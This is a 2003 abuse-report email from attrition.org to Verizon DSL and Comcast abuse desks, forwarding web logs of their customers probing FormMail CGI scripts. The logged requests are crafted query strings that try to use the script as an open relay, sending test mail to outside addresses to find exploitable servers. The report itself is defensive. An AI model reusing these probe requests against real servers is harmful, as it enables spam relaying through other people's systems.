From: security curmudgeon (jericho@attrition.org)
To: abuse@dsl-verizon.net, abuse@comcast.net
Date: Thu, 28 Aug 2003 23:49:18 -0400 (EDT)
Subject: Daily CGI Formmail Spam Attempts (fwd)


your customers are attempting to relay spam through us.


lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [28/Aug/2003:07:15:49 -0400] "GET /cgi-bin/formmail.cgi?realname=vqgdd%20dfybfn&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.cgi&message=aaide%20anbqpgblgbi%20offyzmqxlvk%20wflfeb HTTP/1.1" 403 372 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [28/Aug/2003:07:15:49 -0400] "GET /cgi-bin/formmail.pl?realname=vqxcu%20tngufl&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.pl&message=sjsln%20autqzxjugjh%20nowghmrodlu%20eolgwa HTTP/1.1" 200 647 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [28/Aug/2003:07:15:50 -0400] "GET /cgi-bin/formmail/FormMail.cgi?realname=qpskh%20kaggoq&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/FormMail.cgi&message=rnzhd%20vmnymovalsl%20esddrhqjlyl%20roxvhs HTTP/1.1" 404 1923 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [28/Aug/2003:07:15:50 -0400] "GET /cgi-bin/formmail/FormMail.pl?realname=szllz%20dkyixj&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/FormMail.pl&message=sfsyv%20ewhzehflubf%20fkwtijzdmql%20byzyat HTTP/1.1" 404 1913 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

bgp01038798bgs.sothwt01.mi.comcast.net - - [28/Aug/2003:14:09:46 -0400] "GET /cgi-bin/formmail.pl?email=Checkit%40attrition%2Eorg&recipient=foxcid%40hotmail%2Ecom&subject=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2Fformmail%2Epl%3F&msg=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2Fformmail%2Epl%3F HTTP/1.1" 200 647 "-" "Gozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Windows 2000)"
bgp01038798bgs.sothwt01.mi.comcast.net - - [28/Aug/2003:14:09:53 -0400] "GET /cgi-bin/FormMail.pl?email=Checkit%40attrition%2Eorg&recipient=foxcid%40hotmail%2Ecom&subject=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2FFormMail%2Epl%3F&msg=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2FFormMail%2Epl%3F HTTP/1.1" 404 1900 "-" "Gozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Windows 2000)"
bgp01038798bgs.sothwt01.mi.comcast.net - - [28/Aug/2003:14:10:02 -0400] "GET /cgi-bin/formmail.cgi?email=Checkit%40attrition%2Eorg&recipient=foxcid%40hotmail%2Ecom&subject=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2Fformmail%2Ecgi%3F&msg=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2Fformmail%2Ecgi%3F HTTP/1.1" 403 372 "-" "Gozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Windows 2000)"

lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [28/Aug/2003:17:34:47 -0400] "GET /cgi-bin/formmail.cgi?realname=osznw%20myhuhn&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.cgi&message=ktkwo%20twuaiquuzli%20xyorbfaqnon%20pilpxk HTTP/1.1" 403 372 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [28/Aug/2003:17:34:47 -0400] "GET /cgi-bin/formmail.pl?realname=myodl%20beosnd&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.pl&message=abacv%20rvkxqyabxky%20ogdyidzglcc%20wpcnub HTTP/1.1" 200 647 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [28/Aug/2003:17:34:47 -0400] "GET /cgi-bin/formmail/formmail.cgi?realname=xjrnf%20wyiwyf&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/formmail.cgi&message=kvcvo%20cnnbratvivb%20yhfrcokioxe%20pinzwl HTTP/1.1" 404 1964 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [28/Aug/2003:17:34:48 -0400] "GET /cgi-bin/formmail/FormMail.pl?realname=sisvz%20ukopoq&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/FormMail.pl&message=cfjyf%20emoplyfculm%20wknusjqddqv%20bpzoaj HTTP/1.1" 404 1917 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"